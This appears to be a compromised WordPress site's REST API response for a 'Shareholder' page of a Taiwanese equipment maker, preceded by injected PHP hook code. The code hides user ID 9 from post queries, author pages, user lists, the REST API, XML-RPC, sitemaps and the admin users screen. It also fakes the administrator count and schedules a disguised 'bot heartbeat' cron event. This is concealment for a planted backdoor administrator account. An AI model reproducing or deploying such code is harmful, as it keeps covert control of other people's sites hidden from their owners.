add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 9;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 9 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 9;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 9;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 9;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 9;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-9{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":1544,"date":"2023-10-23T06:40:01","date_gmt":"2023-10-22T22:40:01","guid":{"rendered":"https:\/\/www.saultech.com.tw\/%e8%82%a1%e6%9d%b1%e5%b0%88%e5%8d%80-2\/"},"modified":"2023-10-24T16:42:58","modified_gmt":"2023-10-24T08:42:58","slug":"shareholder","status":"publish","type":"page","link":"https:\/\/www.saultech.com.tw\/en\/shareholder\/","title":{"rendered":"Shareholder"},"content":{"rendered":"","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"templates\/shareholder.php","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"class_list":["post-1544","page","type-page","status-publish","hentry"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Shareholder - Saultech<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.saultech.com.tw\/en\/shareholder\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Shareholder - Saultech\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.saultech.com.tw\/en\/shareholder\/\" \/>\n<meta property=\"og:site_name\" content=\"Saultech\" \/>\n<meta property=\"article:modified_time\" content=\"2023-10-24T08:42:58+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.saultech.com.tw\/wp-content\/uploads\/2023\/10\/og-img.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"600\" \/>\n\t<meta property=\"og:image:height\" content=\"315\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.saultech.com.tw\/en\/shareholder\/\",\"url\":\"https:\/\/www.saultech.com.tw\/en\/shareholder\/\",\"name\":\"Shareholder - Saultech\",\"isPartOf\":{\"@id\":\"https:\/\/www.saultech.com.tw\/en\/#website\"},\"datePublished\":\"2023-10-22T22:40:01+00:00\",\"dateModified\":\"2023-10-24T08:42:58+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.saultech.com.tw\/en\/shareholder\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.saultech.com.tw\/en\/shareholder\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.saultech.com.tw\/en\/shareholder\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.saultech.com.tw\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Shareholder\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.saultech.com.tw\/en\/#website\",\"url\":\"https:\/\/www.saultech.com.tw\/en\/\",\"name\":\"\u68ad\u7279\u79d1\u6280-\u53f0\u7063\u5168\u81ea\u4e3b\u7814\u767c\u5148 \u9032\u534a\u5c0e\u9ad4\u8a2d\u5099\u5546\",\"description\":\"\u68ad\u7279\u79d1\u6280\u5c08\u6ce8\u5728Pick &amp; Place \u548c Die Attach \u53d6\u653e\u6280 \u8853\uff0c\u6240\u751f\u7522\u7684Chip Sorter \u548c Die Bonder \u7522\u54c1\u61c9\u7528\u5728LED \u3001LD\u3001IC \u548c Lens \u5f8c\u6bb5\u88fd\u7a0b (Backend \/ Assembly Process ) \u3002\",\"publisher\":{\"@id\":\"https:\/\/www.saultech.com.tw\/en\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.saultech.com.tw\/en\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.saultech.com.tw\/en\/#organization\",\"name\":\"\u68ad\u7279\u79d1\u6280-\u53f0\u7063\u5168\u81ea\u4e3b\u7814\u767c\u5148 \u9032\u534a\u5c0e\u9ad4\u8a2d\u5099\u5546\",\"url\":\"https:\/\/www.saultech.com.tw\/en\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.saultech.com.tw\/en\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/saultech.refine-lab.dev\/wp-content\/uploads\/2023\/10\/og-img.jpg\",\"contentUrl\":\"https:\/\/saultech.refine-lab.dev\/wp-content\/uploads\/2023\/10\/og-img.jpg\",\"width\":600,\"height\":315,\"caption\":\"\u68ad\u7279\u79d1\u6280-\u53f0\u7063\u5168\u81ea\u4e3b\u7814\u767c\u5148 \u9032\u534a\u5c0e\u9ad4\u8a2d\u5099\u5546\"},\"image\":{\"@id\":\"https:\/\/www.saultech.com.tw\/en\/#\/schema\/logo\/image\/\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Shareholder - Saultech","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.saultech.com.tw\/en\/shareholder\/","og_locale":"en_US","og_type":"article","og_title":"Shareholder - Saultech","og_url":"https:\/\/www.saultech.com.tw\/en\/shareholder\/","og_site_name":"Saultech","article_modified_time":"2023-10-24T08:42:58+00:00","og_image":[{"width":600,"height":315,"url":"https:\/\/www.saultech.com.tw\/wp-content\/uploads\/2023\/10\/og-img.jpg","type":"image\/jpeg"}],"twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.saultech.com.tw\/en\/shareholder\/","url":"https:\/\/www.saultech.com.tw\/en\/shareholder\/","name":"Shareholder - Saultech","isPartOf":{"@id":"https:\/\/www.saultech.com.tw\/en\/#website"},"datePublished":"2023-10-22T22:40:01+00:00","dateModified":"2023-10-24T08:42:58+00:00","breadcrumb":{"@id":"https:\/\/www.saultech.com.tw\/en\/shareholder\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.saultech.com.tw\/en\/shareholder\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.saultech.com.tw\/en\/shareholder\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.saultech.com.tw\/en\/"},{"@type":"ListItem","position":2,"name":"Shareholder"}]},{"@type":"WebSite","@id":"https:\/\/www.saultech.com.tw\/en\/#website","url":"https:\/\/www.saultech.com.tw\/en\/","name":"\u68ad\u7279\u79d1\u6280-\u53f0\u7063\u5168\u81ea\u4e3b\u7814\u767c\u5148 \u9032\u534a\u5c0e\u9ad4\u8a2d\u5099\u5546","description":"\u68ad\u7279\u79d1\u6280\u5c08\u6ce8\u5728Pick &amp; Place \u548c Die Attach \u53d6\u653e\u6280 \u8853\uff0c\u6240\u751f\u7522\u7684Chip Sorter \u548c Die Bonder \u7522\u54c1\u61c9\u7528\u5728LED \u3001LD\u3001IC \u548c Lens \u5f8c\u6bb5\u88fd\u7a0b (Backend \/ Assembly Process ) \u3002","publisher":{"@id":"https:\/\/www.saultech.com.tw\/en\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.saultech.com.tw\/en\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.saultech.com.tw\/en\/#organization","name":"\u68ad\u7279\u79d1\u6280-\u53f0\u7063\u5168\u81ea\u4e3b\u7814\u767c\u5148 \u9032\u534a\u5c0e\u9ad4\u8a2d\u5099\u5546","url":"https:\/\/www.saultech.com.tw\/en\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.saultech.com.tw\/en\/#\/schema\/logo\/image\/","url":"https:\/\/saultech.refine-lab.dev\/wp-content\/uploads\/2023\/10\/og-img.jpg","contentUrl":"https:\/\/saultech.refine-lab.dev\/wp-content\/uploads\/2023\/10\/og-img.jpg","width":600,"height":315,"caption":"\u68ad\u7279\u79d1\u6280-\u53f0\u7063\u5168\u81ea\u4e3b\u7814\u767c\u5148 \u9032\u534a\u5c0e\u9ad4\u8a2d\u5099\u5546"},"image":{"@id":"https:\/\/www.saultech.com.tw\/en\/#\/schema\/logo\/image\/"}}]}},"_links":{"self":[{"href":"https:\/\/www.saultech.com.tw\/en\/wp-json\/wp\/v2\/pages\/1544","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.saultech.com.tw\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.saultech.com.tw\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.saultech.com.tw\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.saultech.com.tw\/en\/wp-json\/wp\/v2\/comments?post=1544"}],"version-history":[{"count":1,"href":"https:\/\/www.saultech.com.tw\/en\/wp-json\/wp\/v2\/pages\/1544\/revisions"}],"predecessor-version":[{"id":1545,"href":"https:\/\/www.saultech.com.tw\/en\/wp-json\/wp\/v2\/pages\/1544\/revisions\/1545"}],"wp:attachment":[{"href":"https:\/\/www.saultech.com.tw\/en\/wp-json\/wp\/v2\/media?parent=1544"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}